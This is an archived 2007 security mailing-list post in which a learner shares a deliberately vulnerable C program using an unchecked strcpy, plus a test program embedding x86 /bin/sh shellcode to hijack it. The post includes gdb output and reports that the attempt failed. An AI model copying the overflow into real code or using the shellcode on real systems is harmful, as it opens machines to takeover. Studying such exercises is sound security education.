Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:
edgeos



Vulnerability Development: Re: Re: understanding buffer overflows

Re: Re: understanding buffer overflows

From: <ma_at_rebeco.at>
Date: 1 Nov 2007 23:48:55 -0000
('binary' encoding is not supported, stored as-is) thank you!

this was a great example but it didnt work on my debian machine. - but it worked better than mine.

i have edited your example as folowed:

vuln.cpp:

#include <stdio.h>
#include <string.h>

int foo (char *input)
{
char buffer [10];
strcpy(buffer, input);
return (0);
}

int main (int argc, char * argv[])
{
if (argc > 1)
foo(argv[1]);
else
printf("usage: %s string", argv[0]);
return 1;
}

test.cpp:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buffer[20];
        long myaddr=(long)&shellcode;
        printf("Addr of Shellcode:%p\n",myaddr);
        long bufadr=(long)&buffer[14];
        *(long *)bufadr=myaddr;
        execlp("./vuln", "vuln", buffer, NULL);
        return 0;
}

and i think the output looks very ok - isnt it?

./test
Addr of Shellcode:0xbfef862a <<-
Speicherzugriffsfehler (core dumped)

and - i think the importent part - from gdb:

edi 0x0 0
eip 0xbfef862a 0xbfef862a <<-
eflags 0x210246 [ PF ZF IF RF ID ]

but no more shell session was loaded. :-(
Received on Nov 02 2007

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
edgeos